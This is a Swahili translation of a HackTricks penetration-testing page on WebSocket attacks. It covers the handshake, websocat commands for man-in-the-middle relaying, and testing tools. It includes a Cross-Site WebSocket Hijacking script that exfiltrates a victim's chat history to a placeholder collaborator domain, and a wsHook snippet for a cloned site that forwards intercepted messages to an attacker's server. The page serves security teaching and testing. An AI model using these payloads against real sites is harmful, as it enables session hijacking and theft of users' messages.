12 KiB
Mashambulizi ya WebSocket
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.
Ni nini WebSockets
Uhusiano wa WebSocket unawekwa kupitia salamu ya awali ya HTTP na umebuniwa kuwa wenye muda mrefu, kuruhusu mawasiliano ya pande zote wakati wowote bila hitaji la mfumo wa shughuli. Hii inafanya WebSockets kuwa muhimu sana kwa maombi yanayohitaji latensi ndogo au mawasiliano yaliyoanzishwa na seva, kama vile mito ya data ya kifedha ya moja kwa moja.
Kuweka Uhusiano wa WebSocket
Maelezo mazuri juu ya kuweka uhusiano wa WebSocket yanaweza kupatikana hapa. Kwa muhtasari, uhusiano wa WebSocket kawaida huanzishwa kupitia JavaScript ya upande wa mteja kama inavyoonyeshwa hapa chini:
var ws = new WebSocket("wss://normal-website.com/ws");
Itifaki ya wss
inaashiria uhusiano wa WebSocket uliolindwa na TLS, wakati ws
inaonyesha uhusiano usiolindwa.
Wakati wa kuanzisha uhusiano, mchakato wa handshake unafanywa kati ya kivinjari na seva kupitia HTTP. Mchakato wa handshake unahusisha kivinjari kutuma ombi na seva kujibu, kama inavyoonyeshwa katika mifano ifuatayo:
Kivinjari kinatuma ombi la handshake:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Majibu ya handshake ya seva:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Unganishaji unaendelea kwa kubadilishana ujumbe kwa pande zote mbili mara baada ya kuanzishwa.
Muhimu wa Msingi wa Handshake ya WebSocket:
- Vichwa vya
Connection
naUpgrade
vinatuma ishara ya kuanzisha handshake ya WebSocket. - Kichwa cha
Sec-WebSocket-Version
kinabainisha toleo la itifaki ya WebSocket inayotaka, kawaida ni13
. - Thamani ya kipekee iliyosimbwa kwa Base64 hutumwa katika kichwa cha
Sec-WebSocket-Key
, ikidhibitisha kuwa kila handshake ni ya kipekee, ambayo husaidia kuzuia matatizo na wakala wa kuhifadhi. Thamani hii sio kwa ajili ya uwakilishi bali kuthibitisha kuwa jibu halijazalishwa na seva au hifadhi iliyopangwa vibaya. - Kichwa cha
Sec-WebSocket-Accept
katika jibu la seva ni hash yaSec-WebSocket-Key
, ikithibitisha nia ya seva ya kufungua uhusiano wa WebSocket.
Vipengele hivi vinahakikisha kuwa mchakato wa handshake ni salama na wa kuaminika, ukifungua njia ya mawasiliano ya wakati halisi yenye ufanisi.
Konsoli ya Linux
Unaweza kutumia websocat
kuweka uhusiano wa moja kwa moja na websocket.
websocat --insecure wss://10.10.10.10:8000 -v
Au kuunda seva ya websocat:
websocat -s 0.0.0.0:8000 #Listen in port 8000
Kudukua Mawasiliano ya Websocket kwa Kati (MitM)
Ikiwa utagundua kuwa wateja wameunganishwa kwenye websocket ya HTTP kutoka kwenye mtandao wako wa ndani wa sasa, unaweza kujaribu Shambulio la ARP Spoofing ili kutekeleza shambulio la MitM kati ya mteja na seva.
Marafiki mteja anapojaribu kuunganisha, unaweza kutumia:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Uchambuzi wa Websockets
Unaweza kutumia zana https://github.com/PalindromeLabs/STEWS kugundua, kufuatilia na kutafuta makosa yanayojulikana katika websockets kiotomatiki.
Zana za Uchunguzi wa Websocket
- Burp Suite inasaidia mawasiliano ya MitM ya websockets kwa njia sawa na vile inavyofanya kwa mawasiliano ya kawaida ya HTTP.
- Kifaa cha socketsleuth cha Burp Suite kitakuruhusu kusimamia mawasiliano ya Websocket vizuri katika Burp kwa kupata historia, kuweka kanuni za kuingilia, kutumia kanuni za kufanana na kubadilisha, kutumia Intruder na AutoRepeater.
- WSSiP: Kifupi cha "WebSocket/Socket.io Proxy", zana hii, iliyoandikwa kwa Node.js, inatoa kiolesura cha mtumiaji kwa kukamata, kuingilia, kutuma ujumbe wa kawaida na kuona mawasiliano yote ya WebSocket na Socket.IO kati ya mteja na seva.
- wsrepl ni REPL ya websocket ya kuingiliana iliyoundwa mahsusi kwa ajili ya upenyezaji wa mtihani. Inatoa kiolesura cha kuangalia ujumbe wa websocket unaoingia na kutuma ujumbe mpya, na mfumo rahisi wa kutumia kwa kuautomatisha mawasiliano haya.
- https://websocketking.com/ ni wavuti ya kuwasiliana na wavuti nyingine kwa kutumia websockets.
- https://hoppscotch.io/realtime/websocket pamoja na aina nyingine za mawasiliano/itifaki, inatoa wavuti ya kuwasiliana na wavuti nyingine kwa kutumia websockets.
Maabara ya Websocket
Katika Burp-Suite-Extender-Montoya-Course una nambari ya kuzindua wavuti kwa kutumia websockets na katika chapisho hili unaweza kupata maelezo.
Udukuzi wa Websocket wa Msalaba (CSWSH)
Udukuzi wa Websocket wa Msalaba, pia inajulikana kama udukuzi wa Websocket wa asili ya msalaba, unatambuliwa kama kesi maalum ya Cross-Site Request Forgery (CSRF) inayoathiri mikono ya Websocket. Makosa haya yanatokea wakati mikono ya Websocket inathibitisha tu kupitia vidakuzi vya HTTP bila vitambulisho vya CSRF au hatua za usalama kama hizo.
Wahalifu wanaweza kutumia hii kwa kuandaa ukurasa mbaya ambao unazindua uhusiano wa Websocket wa asili ya msalaba kwa maombi yaliyo hatarini. Kwa hiyo, uhusiano huu unachukuliwa kama sehemu ya kikao cha mwathirika na maombi, ukidukua ukosefu wa ulinzi wa CSRF katika mfumo wa kushughulikia kikao.
Shambulio Rahisi
Tambua kwamba wakati wa kuweka uhusiano wa websocket, kidakuzi hutumwa kwa seva. Seva inaweza kutumia kidakuzi hicho kwa kuhusisha kila mtumiaji maalum na kikao chake cha websocket kulingana na kidakuzi kilichotumwa.
Kwa hiyo, ikiwa kwa mfano seva ya websocket inarudisha historia ya mazungumzo ya mtumiaji ikiwa ujumbe wenye "READY" unatumwa, basi XSS rahisi inayoweka uhusiano (kidakuzi kitatumwa kiotomatiki kuidhinisha mtumiaji mwathirika) kutuma "READY" itaweza kupata historia ya mazungumzo:
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Msalaba wa Asili + Kidakuzi na kikoa tofauti
Katika chapisho hili la blogu https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/, mshambuliaji alifanikiwa kutekeleza Javascript ya kiholela katika kikoa kidogo cha kikoa ambapo mawasiliano ya soketi ya wavuti yalikuwa yanatokea. Kwa kuwa ilikuwa ni kikoa kidogo, kidakuzi kilikuwa kinatumiwa na kwa sababu Websocket haikuchunguza Asili kwa usahihi, ilikuwa inawezekana kuwasiliana nayo na kuiba alama kutoka kwake.
Kuiba data kutoka kwa mtumiaji
Nakili programu-jalizi ya wavuti unayotaka kuiga (faili za .html kwa mfano) na ndani ya skripti ambapo mawasiliano ya soketi ya wavuti yanatokea, ongeza msimbo huu:
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
Sasa pakua faili ya wsHook.js
kutoka https://github.com/skepticfx/wshook na ihifadhi ndani ya folda na faili za wavuti.
Kwa kufichua programu ya wavuti na kumfanya mtumiaji kuunganisha nayo, utaweza kuiba ujumbe uliotumwa na kupokelewa kupitia websocket:
sudo python3 -m http.server 80
Mashindano ya Hali
Mashindano ya Hali katika WebSockets ni jambo lingine, angalia habari hii ili kujifunza zaidi.
Udhaifu Mwingine
Kwa kuwa Web Sockets ni mfumo wa kupeleka data kwa upande wa seva na upande wa mteja, kulingana na jinsi seva na mteja wanavyoshughulikia habari, Web Sockets inaweza kutumika kudhoofisha udhaifu mwingine kama XSS, SQLi au udhaifu mwingine wa kawaida wa wavuti kwa kutumia kuingiza kwa mtumiaji kutoka kwenye websocket.
Udhaifu wa WebSocket Smuggling
Udhaifu huu unaweza kukuruhusu kukiuka vizuizi vya wakala wa kurudisha kwa kuwafanya waamini kwamba mawasiliano ya websocket yameanzishwa (hata kama sio kweli). Hii inaweza kuruhusu mshambuliaji kupata vituo vilivyofichwa. Kwa habari zaidi angalia ukurasa ufuatao:
{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}
Marejeo
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako inatangazwa katika HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa HackTricks na HackTricks Cloud github repos.